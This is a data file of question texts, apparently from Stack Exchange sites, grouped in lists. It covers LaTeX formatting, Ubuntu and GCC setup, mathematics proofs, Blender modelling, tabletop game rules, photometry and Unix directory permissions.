[ "Where are the necessary places to be appended with % to remove unwanted spaces? I have experience where empty spaces cause unwanted effects. It is not easy to trace the cause of these unwanted effects. In order to eliminate any doubt, I often overuse % as follows. \\usepackage% [% left=3cm, right=3cm% ]% {geometry} or \\newcommand{\\mycommand}% {% This is my command.% } I got an extreme example that will break what Leo Liu said In fact, only spaces which would be output have to be removed by comment. The following code does not produce output, but we cannot remove the % and leave a blank line between two elements of a list below. \\newpsstyle{gridstyle} { gridwidth=0.4pt, % griddots=0 } Shortly speaking, where are the necessary places to be appended with % to remove unwanted spaces?", "To make Latin-letter variables bold I can use e.g. \\mathbf{a}, but while putting Greek letters or symbols such as \\nabla inside \\mathbf doesn't cause any errors or warnings, it also doesn't do anything else. What is the best way to make bold math symbols, in particular Greek letters and \\nabla?", "How to use GCC 4.7 in place of 4.6? So I'm working on a project and I wanted to use some C11 features for C. To use those features GCC 4.7 is required, so I went to synaptic and looked up 4.7, and I found the packages gcc-4.7-base so I installed it[1]. So now that gcc-4.7-base is installed I expected to be able to use 4.7, but no, when I do gcc --version it still shows 4.6.3 even more, when I try to directly call 4.7(via /usr/bin/gcc-4.7) it doesn't exist, though a gcc-4.6 executable does exist. How do I \"activate\" GCC 4.7? I read , you do some crazy stuff with update-alternatives, but it doesn't work for me as the gcc-4.7 executable doesn't actually exist on my machine. Notes: 1. I also saw gcc-4.6-base, so I figured I'd uninstall it, but synaptic attempted to remove every package I had installed and install a Java runtime, so for obvious reason I decided not to remove it.", "$127$ has an interesting property: It is the $31$st prime number and its rank ($31$) is also a prime. $31$ is the $11$th prime so its rank is also a prime. $11$ is also a prime number with a rank ($5$) that is also a prime. $5$ is the 3rd prime number and and so its rank ($3$) is also a prime. And finally $3$ is the $2$nd prime so its rank is also a prime... Is there a name for primes whose rank (index in the prime series) is also a prime? That is: If $a_i$ is the $i$th prime number, then $i$ is a also a prime. How about numbers like $127$ where going down ranks of ranks always produce prime numbers (down to rank $2$ of course)? The first $11$ :-) primes in this (infinite) series would be: $3, 5, 11, 31, 127, 709, 5381, 52711, 648391, 9737333, 174440041, \\dotsc$ Many thanks!", "At the moment I'm working with the . For this I read the following paper: . But I have some mathematical problems with this formalism. I don't really see why this is a variation principle since it is opartor-valued. The action principle is defined by: $\\delta S = G_1 -G_2$, where $S$ is the action operator $S = \\int_{t_1}^{t_2} dt ~L$ and $G$ the generator operators of the transformations. What does it mean that the action principle is operator-valued? For the classical action where $S$ is real we search for a stationary point but for operators? I also have a problem that $\\delta S \\neq 0$. What interpretation has this additional term $G_1 - G_2$?", "I had this question: All 3 responses were rated at 1 when the bounty expired. Nothing got selected as the \"best answer\", and I can't even manually select an answer.", "Turn off automatic preview in apple mail", "Prove that $\\frac{ 5^{125}-1}{ 5^{25}-1}$ is a composite number", "This is supposed to be related to the (my justification for the independence tag). In Williams' Probability with Martingales, 2BCL is proven and then the following is given as an exercise: Prove $S \\doteq \\sum_{n=1}^\\infty p_n < \\infty \\implies \\prod_{n=1}^\\infty (1-p_n) > 0$ assuming $0 \\leq p_n < 1$. Hint: Show that $S < 1 \\implies \\prod_{n=1}^\\infty (1-p_n) \\geq 1 - S$. Proving the hint: I tried to find $\\{a_n\\}$ s.t. $$\\prod_{n=1}^\\infty (1-p_n) \\geq \\prod_{n=1}^\\infty e^{a_n} = e^{\\sum_{n=1}^\\infty a_n} \\geq 1 - \\sum_{n=1}^\\infty a_n \\geq 1 - S > 0$$ That is, find $\\{a_n\\}$ s.t.: 1a. $1 - p_n \\geq e^{a_n}$ 1b. $a_n \\leq p_n$ I thought of $a_n = \\ln(1-p_n)$ (a reason why $p_n < 1$, I guess) Is that right? Edit: Actually, assuming my proof is right, is $S < 1$ used in the proof? If so, where? From Williams book:", "Getting opencv error in c++", "Is it possible to prevent LUDecomposition from pivoting?", "The PHB states: \"A familiar can’t attack, but it can take other actions as normal.\" What can a familiar do? Can it use a potion of healing on a character? Can it drop caltrops?", "How to send parameter from jsp page to jasper file", "Number of automorphisms of a direct product of two cyclic $p$-groups", "Suppose I have some theorem in the paper Section 1 Theorem 1.1. Let ... And then later in the paper I want to recall the theorem by reprinting it Section 4 We recall Theorem 1.1: Theorem 1.1. Let ... What's the proper way to do this?", "Why do close votes expire? I nominated to be closed as a dup. I see that two other people upvoted my comment, so they might have voted to close it as well. Now, we didn't gather enough votes, and all close votes expired ... and I can't re-vote to close. What is the motivation behind expiring close votes ... especially for close-as-duplicate? Update: Please take into consideration: Beta Stack Exchange sites have a smaller community, and fewer people with voting privileges Closing as a duplicate is "usually the right thing" IMHO - much less controversial than closing as off topic. After a vote is reset, the original users can't vote again. On a small site, this makes it even harder to get a consensus of five votes.", "Any idea why the piece of code below does not add the script element to the DOM? var code = \"<script></script>\"; $(\"#someElement\").append(code);", "Proof that disjoint cycles commute I'm trying to prove that in a symmetric group two disjoint cycles commute. But I suspect that something is not right about my proof (a sense of vagueness). Some hints would be appreciated. Here's my proof: Let $\\sigma=(s_1 s_2 ... s_n)$, $\\tau=(t_1 t_2 ... t_m)$ for some integers $m, n$. That is, $s_i \\neq t_j$ for any $i \\in [1, n]$, $j \\in [1, m]$. Now, $\\sigma\\tau=(s_1 ... s_n)(t_1 ... t_m)$ is a cycle of disjoint permutations, which cannot be represented by any other disjoint permutations. Thus $\\sigma\\tau=\\tau\\sigma$.", "Was Mjolnir ever used for building something? In the movie Thor (2011), while he was about to crown Thor as the next king of Asgard, Allfather Odin describes the mighty hammer Mjolnir as the following: So long entrusted with this mighty hammer, Mjolnir. Forged in the heart of a dying star, from the sacred metal of Uru. Only one may ift it. Only one is worthy. Who wields this hammer commands the lightning and the storm. Its power has no equal -- as a weapon, to destroy, or as a tool, to build. It is a fit companion for a King. We know Mjolnir as a weapon of destruction but are there references where it is used to build something?", "Multiple Linked Objects with unique Materials / Group Materials override" ]

[ "What is \"step size\" in LASSO regression?", "How can I combine two render layers? I would like to know which nodes can I combine this two render layers width? I've made this with alpha over node and transparent rendering. I want such an image but I don't want to lose the background (Sky texture). Thanks for helping! :)", "Getting secondary citations right I have some questions regarding secondary citations (in an computer-science research paper that should be published in a journal). I know that they should be avoided when possible, but it is not always that easy. More specifically, my situation is this: Article A says: The average value of ... in ... is ... [B]. [C]’s study says that in ... the value is ... This statement is exactly what i need for my paper. If I read [B] and [C], I see that [A] cited them correctly and if I would have found these two other articles myself, I would have written the same. Now how to cite this in a correct way? [B] and [C] say (cited in [A]) ... and do a “bad” secondary quote; [B] and [C] say ... and neglect the investigation done by [A] and peform citation plagiarism; [A] says ... and neglect that the data was the achievement of [B] and [C]. [A] says based on the findings of [B] and [C] ... and do a secondary quote again.", "Stuck in a loop at login prompt after changing shell to zsh", "Is there any way to increase the number of candy made? In Candy Box 2, the candies are being produced at a rate of 1 candy per second. Is there any way to increase the potential amount of candy made at a faster rate? (notice that I am only up to the part where the person with the cellar in their house gives me a map.", "One of the ways I quickly rename files in Windows is F2 > Rename > Tab (to next file) > Rename ... But in Ubuntu/Nautilus, I can't tab to next file. But being on Linux, I think there must be a command line alternative. However, sometimes, I may want more control over how to rename specific files. In that case, perhaps its better to be able to tab to the next file", "How do I get a list of obsolete packages? I'm trying to figure out a way to get a list of the packages that are no longer available in the repositories that I have enabled. This workstation has been through quite a few versions of Ubuntu and has had many 3rd party repositories added and removed. I'd like to get a list of software that I have from these removed repositories, so I can clean it up or add back the appropriate repositories.", "Idiom/Phrase for \"results without work/effort\" I'd be greatly appreciative of a cleverly devised idiom/phrase that depicts the following concept: Results without work/effort. ...and/or... My Work/Effort; Your Result. Any idioms/phrases you can recount or conceive would be of use. Contextual Edit: The idiom/phrase should be in the context of service offering/hiring or task delegation, not free-loading as most answers thus far have understandably assumed. E.g. [You hire me for] My Work/Effort; [My work/effort produces] Your Result.", "Computing $\\lim_{(x,y)\\to (0,0)}\\frac{x+y}{\\sqrt{x^2+y^2}}$ What is the result of $\\lim_{(x,y)\\to (0,0)}\\frac{x+y}{\\sqrt{x^2+y^2}}$ . I tried to do couple of algebraic manipulations, but I didn't reach to any conclusion. Thanks a lot.", "How to stop a sponge cake (chiffon cake) from deflating/sinking?", "Evaluation of OptionValue[]", "Is there an AutoHotKey for Ubuntu? I would like to simulate keyboard combinations. I am able to do this on Windows with AutoHotKey. Is there an equivalent app for Ubuntu?", "I know Americans commonly use "damn" or "damned" to describe things. Sometimes, more appropriately, it's even "darn" or "darned". For example, This damn/damned computer is too slow. However, I can't wrap my head around when to use "damn" and when to use "damned". Or is only one of them correct?", "Integral inequality with a strange condition Let $f$ be a continuously differentiable real valued function on $[0,1]$. It is given that $\\displaystyle \\int_{\\frac{1}{3}}^{\\frac{2}{3}}f(x) dx=0$ Find the minimum value of $\\dfrac{\\int_{0}^{1} (f'(x))^2 dx}{\\left( \\int_{0}^{1} f(x) dx \\right)^2}$ I tried to use Cauchy-Schwarz to show that $$\\frac{\\int_{0}^{1} (f'(x))^2 dx}{\\left( \\int_0^1 f(x) dx \\right)^2} \\ge \\frac{\\left( \\int_0^1 \\bigl| f(x)f'(x) \\bigr| dx \\right)^2}{ \\left( \\int_0^1 f(x) dx \\right)^2} \\ge \\frac{ f(1)^2 - f(0)^2}{2 \\left( \\int_0^1 f^2 (x) dx \\right)^2}$$ But I can't proceed from here. Also, I don't know how to use the condition $\\int_{1/3}^{2/3}f(x) dx=0$", "How to Straighten Curved UVs into Straight Belt Showing the actual 3D model of a curving ramp. Shows the UVs of that model that blender did automatically. Shows the UV image that I need. I am going put a road texture on it., but round faces are not helping me at all. All I need is straight belt kind of UV.", "How would you cut a shape out of an object using another object? Coming from SketchUp one of the tools I miss most is the circle draw tool which lets you draw a circle on any face and then you could extrude it in/out. The only tool that I know of that comes close to this is the knife tool but this would be very impractical to cut out with the knife Example: Is there any tool in blender that can match this function? also how could you do this with squares?", "Event button as a module or as user program?", "How many String objects will be created when using a plus sign?", "Our DM keeps interrupting our long rests In the latest campaign, we're still around the third level, but every single night we've spend in the wild so far, we were interrupted by hard combat encounters (as in DMG-worded \"hard\"), forcing us to use our resources (like HP, spell slots, Ki, once-per-day stuff) and not restoring any of those lost the previous days. I feel like the , as it lasts four to six rounds, so we usually say that we'd like to resume our rest but the answer is always \"you've been interrupted, your rest is over, you can't restart any until dusk\". So the only real long rests we could have always were in town. We've always used watch-turns, and being interrupted in the first night of the campaign, we now always spend one hour to find a safe place to rest and we make that intent very clear to the DM. But yet, kobolds, goblins, ghouls and gnolls always find us in the middle of the night, but never when we travel for ten hours during the day (which is comparable to \"fast travel\" in his own word). Once on the second day in the wild, we were faced to a deadly encounter (as in DMG-worded \"deadly\") which we survived only by fleeing. And we're kind of forced to get back to the deadly encounter, which is more than one day away from the nearest town. We're five players and I'm the only one with PnP RPG experience... from ten years ago. I don't remember being this resourceless. We asked if it was a survival campaign and the answer was that it was only a normal introduction campaign found on the Internet that he spiced up a bit. We've also asked if we did anything wrong and the answer was that we followed the normal story. The DM is mastering his second campaign (the first one is still ongoing, but with veteran players). The DM also plays a lot of survival campaigns as a player. Is this situation normal? If yes, why? If not, what should I say to the DM? Note that I'm fully aware of the \"long rest\" rule as written on page 186 of the PHB. This is why I encouraged my team to say that we resume our rest. (thanks Bloodcinder)", "The more I read about this, the more confused I become. Illuminance, as I understand it, measured in lux, is the perceived brightness of light on a surface. It's what you'd measure with an incident light sensor. Luminance, then, is how much reflected light you'd perceive looking at that surface. This is what the light meter in a camera measures. Am I correct so far? In both cases, the word \"perceived\" is important, because the scales are weighted using a to map wavelengths to . However, in the case of illuminance, there's only actual perception if your eye happens to be the surface in question. I can basically grasp this, but then I come across charts saying things like \"family living room: 50 lux\". Wait, hold on! Does that really mean that the typical lights in a house are that bright, or is it just confused and wrong, or am I confused and wrong? If you're not taking pictures of light sources directly, why would an incident light meter reading ever be useful in photography? Reflected light recorded on film or by a sensor is usually what makes a photograph. So, if I have an incident light meter, how does that reading relate meaningfully to my camera settings? Since incident light meters are sold and used, this implies that there must be some useful conversion. But this is where my brain explodes. Google tells me that 1 lumen equals 1 candela, so therefore 1 lumen/m² (i.e. 1 lux) must equal 1 candela/m2 (i.e. 1 nit). But clearly something is missing from this. There's something called a \"steradian\". Cones are involved. I'd never heard of this before; how does it fit in? I can see how it might be determined when calculating the usefulness of LED home lighting, but for a photo, I'm at a loss. Some part of my (exploded, from the last paragraph) brain is trying to relate this to the difference between flash metering with TTL and with an incident meter. But how can the incident meter work without knowing the reflectance properties of the objects in the scene? Is this what the \"C\" in the is all about? Is it just an average-this-probably-will-work value, or is there more to it than that? And if it is just an average, what knowledge is necessary for compensating for off-averages scenes? (As with the , where the photographer simply judges if the scene should be rendered brighter or darker than the average given by the meter.) So yeah, so much confusion. In short: What's the difference? Can one meaningfully convert between the two? When and how are illuminance / incident light measurements useful for photography? Update: I appreciate Stan's answer, which covers the third point of when and how pretty well. And I think I've basically got the first point figured out, as described above. But I'd appreciate some answers covering the issue of conversion as well, both in the mathematical abstract and as the practical for photography. And I wouldn't mind more why and how, either." ]

[ "Show that there exists a unique $v_0 \\in H^1(0,1)$ such that $u(0)=\\int_0^1(u'v_0'+uv_0), \\forall u \\in H^1(0,1)$ Show that there exists a unique $v_0 \\in H^1(0,1)$ such that $u(0)=\\int_0^1(u'v_0'+uv_0), \\forall u \\in H^1(0,1)$. Further Show that $v_0$ is the solution of some differential equation with appropriate boundary conditions. Compute $v_0$ explicitly. Let $f: H^1(0,1) \\to \\mathbb{R}$ be defined by $f(u)=u(0)$. Then I showed that $f$ is linear and continuous. Hence there exists $v_0 \\in H^1(0,1)$ such that $u(0)=\\int_{0}^1u'v_0'+\\int_{0}^1uv_0$ The differential equation is given by $f=-u''+u$ with the conditions $u'(0)=u'(1)=0$. How do I compute $v_0$ explicitly??", "Why don't applications update by calculating difference?", "I have Ubuntu 14.04 installed on my laptop. Can I clone the entire system with apps, settings, etc on a USB 3 pendrive, and then boot from that on other computers as a portable Ubuntu installation to take around with me? I am trying a function that Timeshift has that's called \"Clone the current system on another device\". I've selected the pendrive as the target device. Timeshift was talking about this being bootable. But is it going to bootable on only this laptop, or on any system? For example, on an Intel Mac, or a Windows computer without the grub bootloader? Is that Timeshift function what I am looking for, or do I have to do something else? Edit: The Timeshift clone failed to boot on the first system I tested it on. (A Dell Hackintosh that usually boots from USB just fine.)", "A lot of my scripts stopped working after installing Ubuntu 15.10 and I have trouble remembering this new name as I was used to ethx and wlanx for years. Is there a reason for this change? Do I have to get used to this or can I just rename it and go back to good old eth0? $ ifconfig enp0s25 Link encap:Ethernet HWaddr 77:5a:5e:a6:86:d5 inet addr:192.168.31.239 Bcast:192.168.31.255 Mask:255.255.255.0 inet6 addr: fe80::725a:b6ff:fea6:86d7/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:4833 errors:1332 dropped:0 overruns:0 frame:666 TX packets:5589 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:3266446 (3.2 MB) TX bytes:1046654 (1.0 MB) Interrupt:20 Memory:d3500000-d3520000", "Get the cartesian product of a series of lists?", "Which manuals are on your \"TeX Reference\" shelf? This is a community wiki since there is no \"one true answer\"- if you find an answer that contains a lot of your choices, but is missing something you feel is incredibly useful. Feel free to add it. A short description of what topics the reference covers would be nice as well. Organize by subject please. For example: I always keep the following PDFs at my fingertips. Document Layout : Covers, in exquisite detail, how to produce just about any document using the memoir LaTeX class. ( 4.5 MB) Mathematical Typesetting : A document by Herbert Voß that explains how to typeset just about any mathematical expression in LaTeX. ( 2 MB) Graphics : Explains, with examples, how to draw just about any figure using PGF/TikZ. Also a good example of what awesome documentation should look like. ( 9.5 MB)", "IF/ELSE script in sender profile I'm trying to create a dynamic sender profile where the from name and from email change if a value is present in a specific field of the data extension. I want the Lead First Name value and Lead Last Name values to appear. I'm trying to keep all the logic in the sender profile. %%=IIF(EMPTY(AttributeValue("X")), "Bill", AttributeValue("LeadFirstName") AttributeValue("LeadLastName"))=%% Not sure why, but doing the test, the script shows up as the sender and isn't resolving.", "My code follows: \\documentclass{book} \\usepackage{color,colortbl} \\begin{document} \\begin{tabular}{ll>{\\color{red}}p{20pc}} a &1 &Test \\end{tabular} \\end{document} The output was: Some unnecessary vertical space came before the last column. If I remove the tag \\color{red} then everything works fine, how can I fix this? Above said issue was fixed based on the suggestion given by David Carlisle and CarLaTeX, but the same problem was there if I use the supertabular environment, I used supertabular package for auto breaking table and the code follows: \\documentclass{book} \\usepackage{color,colortbl,supertabular} \\begin{document} \\begin{supertabular}{ll>{\\leavevmode\\color{red}}p{4pc}>{\\leavevmode\\color{black}}l>{\\leavevmode\\color{black}}l>{\\leavevmode\\color{red}}p{4pc}} a &1 &Test &a &1 &Test\\\\ a &1 &Test &a &1 &Test\\\\ \\end{supertabular} \\end{document}", "Euclidean geometry in non-inertial frame", "In fact, I would like to ask more general question -- "what does write permission for a directory allow you to do exactly?" -- but let's approach it with a concrete example. It is a long question, if you are in a hurry read the bold -- it should cover the main part. Different sources (, , ) say something similar to the following on the directory permissions: r, read -- reading of the directory's content (filenames inside) w, write -- changing the directory's attributes (e.g. modification time) and creating/renaming/removing entries inside x, search -- accessing files inside, you have access to the inode of the file, hence you can reach it's actual content My problem is with the description of w. What directory's attributes does it give you access to? I cannot create/rename/remove a file inside a directory with only write permission: I make a directory (tdir/) and a file inside (afile), chmod -x-r tdir/, mv tdir/afile tdir/af, rm tdir/afile, touch tdir/newfile -- all fail with permission denial, unless I set x permission to the directory as well. And x alone doesn't give you the permission to create/rename/remove files inside the directory. In order to do that you need both x and w. But touch tdir does change the modification time of the directory with w only. I would rephrase the sources above this way for the compliance with the issue: a directory's r allows you to see the filenames inside, but no access to the actual file (to the inode); x gives you access to the inodes of the files (which means you can see their permissions and, according to it, have access to the contents), but you still cannot change anything in the directory; directory is actually some sort of a file and to change something in it you need the w permission. Thus, when you are changing something in the directory you need w permission. If your change requires inodes of the files in the directory -- you need x as well. It explains why you cannot remove a file inside a directory with w only: when removing a file you need to reduce the link count of the inode by 1 -- you need to know the inode -- thus you need x for the directory. But why do you need x for creating (you could ask the system to create a file without exposing the inode?) and renaming/moving the file (when you move a file you don't change it in any way, you only change the records inside the directories and their inode counts?)? Maybe it is just an implementation thing? I.e. indeed you don't need the inode for renaming/creating files -- you need only filenames and w permission; but inode and filename constitute one record in the directory; thus changing the filenames = changing the records = kind of accessing the inodes. And also what attributes do directories have besides modification time, permissions and files records? What else in the directory can you change with w only?", "I let him do it. and I allow him to do it. Why does the latter require to? What are the \"rules\" of using to with an infinitive? When is it necessary?", "How to plot and visualize a single linear vector in 3D?", "Dropping z dimension programmatically It seems there is no geoalgorithm to drop z values in the QGIS processing toolbox. Can this be done programmatically using the Python console? At the moment I have to save the layer with unchecked 'Include z-dimension' checkbox (non automatic geometry type):", "Changing internal URL path for SEO I have a site where Google has already indexed about 1 million pages, and I want to change all the URL paths for SEO purposes, ensuring that we always have our keywords in the path. Technically I know how to complete it (301 redirects, new canonical URL, update sitemap, etc.) but I'm wondering if Google will penalize the site because of it, or if links will disappear from search results until they are re-crawled?", "How do you file a bug report for Windows? I have come across an issue that I feel is a in Windows 7. What is the official process for submitting an issue to Microsoft from a consumers perspective as an end user of Windows?", "Expected area of the intersection of two circles If we pick randomly two points inside a circle centred at $O$ with radius $R$, and draw two circles centred at the two points with radius equal to the distance between them, what is the expected area of the intersection of the two cirlces that contain the origin $O$.", "C# vs Java Enum (for those new to C#)", "How can I randomize order of elements in a list?", "Summation of Central Binomial Coefficients divided by even powers of $2$ Whilst working out the following summation emerged: $$\\sum_{m=0}^n\\frac 1{2^{2m}}\\binom {2m}m$$ The is equivalent to $$\\begin{align} \\sum_{m=0}^n \\frac {(2m-1)!!}{2m!!}&=\\frac 12+\\frac {1\\cdot3}{2\\cdot 4}+\\frac{1\\cdot 3\\cdot 5}{2\\cdot 4\\cdot 6}+\\cdots +\\frac{1\\cdot 3\\cdot 5\\cdot \\cdots \\cdot(2n-1)}{2\\cdot 4\\cdot 6\\cdot \\cdots \\cdot 2n}\\\\ &=\\frac 12\\left(1+\\frac 34\\left(1+\\frac 56\\left(1+\\cdots \\left(1+\\frac {2n-1}{2n}\\right)\\right)\\right)\\right) \\end{align}$$ and terms are the same as coefficients in the expansion of $(1-x)^{-1/2}$. Once the solution $$ \\frac {n+1}{2^{2n+1}}\\binom {2n+2}{n+1}$$ is known, the telescoping sum can be easily derived, i.e. $$\\frac 1{2^{2m}}\\binom {2m}m=\\frac {m+1}{2^{2(m+1)-1}}\\binom {2(m+1)}{m+1}-\\frac m{2^{2m-1}}\\binom {2m}m$$ However, without knowing this a priori, how would we have approached this problem?", "This is what I would like to do: morekeywords={SENÃO, ENTÃO, FAÇA, ATÉ, ENQUANTO, PARA, SE, DECLARA, DECLARE, E, OU, FIM_ENQUANTO, FIM_PARA} I'm defining a new language, and I would like to use natural language words as keywords. The problem is with keywords: SENÃO, ENTÃO, FAÇA, ATÉ. I have solved the first problem, in showing special chars with: The alsoletter here, doesn't work for me, I got an error when using it: alsoletter={Ç,É,Ã}. test.tex \\documentclass{article} \\usepackage[brazilian]{babel} \\usepackage[T1]{fontenc} \\usepackage[utf8]{inputenc} \\usepackage{listingsutf8} \\usepackage{listings} \\lstset{% inputencoding=utf8, extendedchars=true, literate=% {é}{{\\'{e}}}1 {è}{{\\`{e}}}1 {ê}{{\\^{e}}}1 {ë}{{\\¨{e}}}1 {É}{{\\'{E}}}1 {Ê}{{\\^{E}}}1 {û}{{\\^{u}}}1 {ù}{{\\`{u}}}1 {â}{{\\^{a}}}1 {à}{{\\`{a}}}1 {á}{{\\'{a}}}1 {ã}{{\\~{a}}}1 {Á}{{\\'{A}}}1 {Â}{{\\^{A}}}1 {Ã}{{\\~{A}}}1 {ç}{{\\c{c}}}1 {Ç}{{\\c{C}}}1 {õ}{{\\~{o}}}1 {ó}{{\\'{o}}}1 {ô}{{\\^{o}}}1 {Õ}{{\\~{O}}}1 {Ó}{{\\'{O}}}1 {Ô}{{\\^{O}}}1 {î}{{\\^{i}}}1 {Î}{{\\^{I}}}1 {í}{{\\'{i}}}1 {Í}{{\\~{Í}}}1 } \\lstdefinelanguage{pseudo} { extendedchars=true, alsoletter={_}, morekeywords={ENQUANTO,PARA,SE,SEN\\~{A}O,ENTÃO,ATÉ,FA\\c{C}A,DECLARA,DECLARE,E,OU,FIM_ENQUANTO,FIM_PARA,FAÇA}, ndkeywords={NUMERO,TEXTO,LEIA,ESCREVA}, sensitive=true, morecomment=[l]{//}, morecomment=[s]{/*}{*/}, morestring=[b]\" } \\begin{document} \\lstinputlisting[language=pseudo]{foo.pseudo} \\end{document} foo.pseudo ENQUANTO nota != -1 FAÇA // Comment example LEIA nota SE nota >= 7 ENTÃO ESCREVA \"Aprovado\" SENÃO ESCREVA \"Reprovado\" TEST \"Algo mais\" /* mais comentário */ FIM_ENQUANTO I have seen:" ]

[ "In the special relativistic action for a massive point particle, $$S=\\int_{t_i}^{t_f}\\mathcal {L}dt,$$ why is the Lagrangian $$\\mathcal {L}=-E_o\\gamma^{-1}$$ a negative number?", "How to forbid a specific package to be installed?", "More than 9 hundred as hundreds? In German, we often use \"Elfhundert\" (literally, \"eleven hundred\") for 1100 or \"neunzehnhundert\" (\"nineteen hundred\") for 1900; but is this correct in English?", "I've heard that you need to get a Mac if you want to develop iPhone apps. Is this true? Is it possible to develop iPhone apps using Linux? If yes, what do I need and where do I download the necessary tools?", "When does a Möbius transformation map $\\Im(z)>0$ to itself? Show Möbius transformation which maps $\\Im(z)>0$ to itself iff $$ f(z)= \\frac{az+b}{cz+d}\\,,\\,\\,ad-bc>0$$ and $a,b,c,d$ are real.", "Why should a CTE start with a semi-colon?", "states that if $a, b \\geq 0$, $p, q > 0$, and $\\frac{1}{p} + \\frac{1}{q} = 1$, then $$ab\\leq \\frac{a^p}{p} + \\frac{b^q}{q}$$ (with equality only when $a^p = b^q$). Back when I was in my first course in real analysis, I was assigned this as homework, but I couldn't figure it out. I kept trying to manipulate the expressions algebraically, and I couldn't get anywhere. But every proof that I've seen since uses calculus in some way to prove this. For example, a common proof is based on this and integration. The proof on Wikipedia uses the fact that $\\log$ is concave, which I believe requires the analytic definition of the logarithm to prove (correct me if I'm wrong). Can this be proven using just algebraic manipulations? I know that that is a somewhat vague question, because \"algebraic\" is not well-defined, but I'm not sure how to make it more rigorous. But for example, the proof when $p = q = 2$ is something I would consider to be \"purely algebraic\": $$0 \\leq (a - b)^2 = a^2 + b^2 - 2ab,$$ so $$ab \\leq \\frac{a^2}{2} + \\frac{b^2}{2}.$$", "Complete beginner here. I'm trying to follow tutorial on Anisotropic shaders, but my property panel looks nothing like the property panel in the tutorial. For example, when creating a material, this is what his property panel looks like: But this is what mine looks like, if I follow the same path: I'm sure I'm missing something obvious. How can I see the property panel shown in the tutorial?", "The suffix -phobia means fear of, often irrational fear of. For example, according to Wikipedia: or ophiophobia is a particular type of specific phobia, the abnormal fear of snakes. Is there a suffix attachable to ophidio- which would describe a person who is not afraid of snakes, except for, say, a coiled rattler encountered on a trail, but who dislikes them and would not willingly share space with one? Similarly, an (don't click here if you are at all arachnophobic) is someone who loves spiders. Is there a suffix for someone who likes spiders but does not love them? These are Greek suffixes, and the Greeks, theoretically, were in favor of moderation. So, are there suffixes in use in English, derivable from Greek or not, for moderate like and moderate dislike? Edit to explain why the question: \"Is there a suffix for loathing\" does not answer my question. My question is NOT about fear and/or loathing. My question is about moderate dislike (and moderate like). I can watch a snake cross my driveway with interest, but would not want it in the house or lounging on my patio. A person who loathed snakes would not be able to admire the smooth motion of the snake as it glided over the rough gravel and disappeared into the woods. Loathe is very different from moderate dislike; Phobia is very different from caution.", "What's the difference between scaling text via transform and changing font size? Is there a difference between using Transform commands to scale text and altering the size of the font via Character panels? I'm working in Photoshop CC", "What is the best way to randomize the order of a generic list in C#? I've got a finite set of 75 numbers in a list I would like to assign a random order to, in order to draw them for a lottery type application.", "How to get a variable name as a string in PHP? Say i have this PHP code: $FooBar = \"a string\"; i then need a function like this: print_var_name($FooBar); which prints: FooBar Any Ideas how to achieve this? Is this even possible in PHP?", "I am having trouble finding the derivative of the following: $$y = x^x+x^3+3^x+3^3$$ $$\\frac{dy}{dx}= x \\times x^{(x-1)}+3x^2+3^x\\ln3+0$$ I think the $x^x$ part is wrong. Any help would be appreciated.", "PHP replaces spaces with underscores", "Typically Apt packages are served over bare HTTP and the downloaded contents are verified with GPG signatures. This makes it easy for to proxy the HTTP connections and add the downloaded packages to its cache. apt-cacher-ng is unable to directly MITM an HTTPS connection created by Apt. It is possible to apt-cacher-ng, but then the contents are not cached--they are re-downloaded from the remote server every time. This quickly gets annoying when rebuilding Docker containers that install many packages from Apt repositories served over HTTPS. Is there a way to get apt-cacher-ng to cache packages downloaded from HTTPS repositories?", "Contacting prospective advisors before graduate school applications - courtesy or annoyance? Last year, rather late during the MSc application cycle (after one round of funding was allocated - tardiness due to an abrupt change in my life situation), I emailed two professors from two schools that I most wanted to go to. I had perused their webpages and decided these professors had the specific research interests closest to my own. My reason for contacting them before finishing my applications for their respective schools was that the applications included a large section for specific research questions that I wanted to investigate. So, I emailed these professors asking a bit about their work, because their webpages of course featured surface-level stuff. One professor was very receptive and invited me to Skype with her so she could better explain herself and I could ask her questions. With her support, I was able to write an application that met her standards quite quickly. The other professor told me - paraphrasing, of course - that he was too far into the process of choosing a new student for his research group to spend time helping me finish the application. Let me be clear that the latter professor didn't say any harsh words and I have nothing bad to say about him. That said, the purpose of my question is to decide whether it's better for me as a prospective MSc student to email professors ahead of time like this. Was the latter's rejection likely due to my tardiness rather my emailing him? The more receptive professor made the point that she always wanted to have prospective MSc students write their own research proposals and get her approval before submitting the application. Is this common? If so, then I guess reaching out beforehand is a good thing to do, but earlier in the application cycle? Thank you.", "pdfTeX error (font expansion): auto expansion is only possible with scalable", "Can quarks be considered real and elementary?", "I read that this is because the mean and variance completely specify a normal distribution. However, e.g. for a Poisson distribution the mean, variance and third moment can all be expressed with the same parameter lambda. Is this not what it means to 'completely specify' a distribution? What is an example of two Poisson distributions having the same mean, variance and different higher moments? If we treated weak stationary as if it was strict stationarity, what would happen when we try to do time series analysis?", "I read an essay about prime numbers. In it the author suggests that a natural first question to ask is, What is the probability of a random natural number being prime? but proceeds to dismiss it as \"not making sense\". I wonder what's wrong with the question. Is its meaninglessness related to the fact that there is an infinite number of naturals?" ]

[ "What are these notices above my post? My post has been marked with an informational notice in a box above it. What should I do about this? Who attaches notices to posts? What kinds of notices are available? What should I do if I think a notice should be added to a post? What should I do if I think a notice should be removed from a post?", "Can't access https despite port 443 is opened", "Is tipping mandatory at Restaurants and Bars in Germany?", "What is a \"locked\" post? A post can be locked. What does it mean to lock a post? Who can lock a post? When should a post be locked?", "Acne underneath skin Introduction Okay, I've almost won my war. The battle, its almost won... However, I must still claim victory in my final battle. The battle against the little enemies, the ones that have fought with my blade of benzoyl peroxide every single day. Problem Through spot treatments I have been able to fell every single one of these spots, but only the ones on my face. I've been using a spot treatment with benzoyl peroxide in, which has worked really well for me. However, my issue comes here: There are spots underneath my skin, I think. The areas where they come through are a bit red. So, because there is still slightly red skin on my face, and I think this is causing my acne to constantly return. I need to stop this, and end my war once and for all. What I've tried Washing my face with a rag and sponge every day, three times a day Changing my pillow case every day Using a benzoyl peroxide spot treatment Minimizing how much I touch my face Not interfering with the spots with my fingers, not picking at them, not playing with them. Just letting spot creams eradicate them. Conclusion Seriously, this driving me up the wall. I spot cream in the evening, by the time tomorrow has ended and its time for a shower, they've all come back. Its like they're coming in waves, damn waves! I must put an end to this. So, how can I prevent acne from coming back within the space of a single school day? How can I get rid of these once and for all? What types of measures could I try? I have no reason to visit my doctor, its only acne, but I have no idea what I can try now. Is there even a point in me trying? 